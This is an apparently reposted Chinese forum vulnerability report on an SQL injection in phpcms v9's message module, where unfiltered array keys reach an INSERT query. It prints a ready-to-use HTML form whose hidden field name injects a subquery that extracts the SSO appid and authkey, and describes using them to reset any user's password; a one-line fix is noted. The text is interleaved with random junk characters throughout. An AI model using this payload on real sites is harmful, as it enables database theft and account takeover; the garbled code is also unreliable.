|
简要描述:
6 X, F6 t* z: F
8 _9 P$ v# T' B, E第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。- V" U D0 u' ]
% ~/ w p7 x$ e; \
明天再更新下一个漏洞。
/ M, j# ?) [4 h! L. m+ }8 U详细说明:- x/ t5 }# |; a+ ?
在/phpcms9/phpcms/modules/message/index.php中有代码如下:5 @) m# K+ m0 {8 D/ ?& f
6 H& y8 U. J; U
$messageid = $this->message_db->insert($_POST['info'],true);: ]5 l3 x0 {2 Y/ {
+ u# c# D5 e+ g+ h0 j$ d
% B4 \7 T. o: B+ O* H& U
insert方法是key value的,代码如下:7 z, M; G' x) `7 u% J: U
0 |' v, l4 Z8 l' H( ?- E
public function insert($data, $table, $return_insert_id = false, $replace = false) {5 V7 W: t, Z9 p" x# X
if(!is_array( $data ) || $table == '' || count($data) == 0) {3 _) o$ O/ n) [9 z8 {3 y
return false;1 [' X) a/ m0 x) U+ h6 _# h
} j" R, y" j( Y Z
2 e, g" Q4 S9 f& c6 O $fielddata = array_keys($data);+ W# u! k0 d8 E( l
$valuedata = array_values($data);
6 V+ \: ]9 ?$ c! P! W$ D array_walk($fielddata, array($this, 'add_special_char'));) t, s6 ?1 p7 Y- Z% @* }( p
array_walk($valuedata, array($this, 'escape_string'));
" u) f5 j( `, { 0 c- K `* H% t8 j" T5 n
$field = implode (',', $fielddata);
* g, n2 Q2 s' H1 v $value = implode (',', $valuedata);, {4 J- \+ U0 X# P8 A
4 ~& g+ u: W3 L! q $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
: {8 @% W6 H) O4 |$ I $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
+ F) z4 j% N( V' p, B# w4 T5 {' y $return = $this->execute($sql);
6 `( p/ J N% l6 v return $return_insert_id ? $this->insert_id() : $return;% H; Y, _4 U5 E. q$ p& L7 D* W
}* e! r3 }+ P" v$ R, M" e
5 y3 o7 D3 W Q7 H. e ]" M, N. {* U3 i& ]1 _5 B/ z4 n7 d
嗯,很遗憾的是
, N( L9 q7 L; t. X& Z' L6 T9 b+ Y4 ?/ y5 B% L d# _. k
array_walk($fielddata, array($this, 'add_special_char'));
$ l' V- ~5 L6 x0 b4 a& ^( w
9 T! B. s" q( ?' t7 \
& w- W/ @$ J4 h# i, a# F中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
8 l$ a2 w& r% b: k! I: |; v$ W) u& r) |" e. G
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。. I5 X$ O& \' b* W1 ^( I
2 j8 L" Y, O" p; Y7 x, E8 f: ?( d2 I
漏洞证明:
; P* N. p6 i* M6 i" F: ~读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
# R8 M7 Q! t7 D! f* }& ?% Y3 \) k, m! e L/ _
! K0 {3 w) v: L8 h( x表单如下:用户名什么的得自己改一改。
3 g# |7 ? H$ |! s: Y4 z" T. Q<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
0 C8 \) f1 |) V5 i' e2 ^9 S9 f( \<table width="100%" cellspacing="0" class="table_form">% j( B+ C* e; |
<tr>' d1 G/ i% E4 o. t% u% m
<th>标 题:</th>, n4 I0 b# O3 ^$ f. ]# O( r
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
0 x: h) J/ O6 t) G( l6 q: S+ J</tr> ' |0 B/ R, V' E6 w" e
<tr>
' G- s+ J3 N" g' D% C& o<th>内 容:</th>% x+ M, B3 O+ `( T' y) u9 P: ~- K6 l
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>( f1 @6 M: h6 v2 c
</tr>. |4 a0 }" A- V' p7 u
<input type="hidden" name="info[replyid]" value="2" /> 4 N4 M, O% m& i( ~3 M8 Q& u
<input type="hidden" name="info[send_to_id]" value="cc" /> % U. @6 k: v+ o7 Q; ]! x
<input type="hidden" name="info[send_from_id]" value="hh">1 }8 A# f7 o7 N- K( ]
<!-- 漏洞的利用重点在这里开始 -->9 n) Z$ s0 r& J" g6 g2 `" R
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> / ?- G$ Q% N9 G
<!-- 漏洞的利用重点在这里结束 -->
7 h6 L6 c' W7 c. Y' e7 C4 l" L<tr>3 m( D U+ V2 k2 i ^; Y q8 r
<th>验证码:</th>
! r4 @) a h7 T, e3 T<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
2 X, _$ a/ ^+ }# h6 y' ~) f8 {( u</tr>
4 w0 l7 n; {, Q) g2 S* S! g/ l/ Y<tr>' R, [. i" X' J, f2 [* w. i
<td></td>
@4 s9 w: S9 R<td colspan="2"><label>
' R& x2 [* y# k' }8 ]. Z' H# f<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/># P h; T1 P% N7 l* D2 V
</label></td>: A+ v& M( Q/ n: u+ u+ m( l
</tr>1 J3 w7 f/ Q8 l6 x
</table>, C7 X' O: Z$ r+ y$ S
</form># ]4 Y# ? X2 t4 y" i
在add_special_char函数内对key做过滤就可以了。 a- v) [5 `* ^3 t2 c/ _6 Y
& ~) ]0 I" m/ g n& q& ^7 k0 ^
2 j+ l# T% C. O$ t
$ i+ u; l2 p3 r+ h" e& T! a3 ` |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|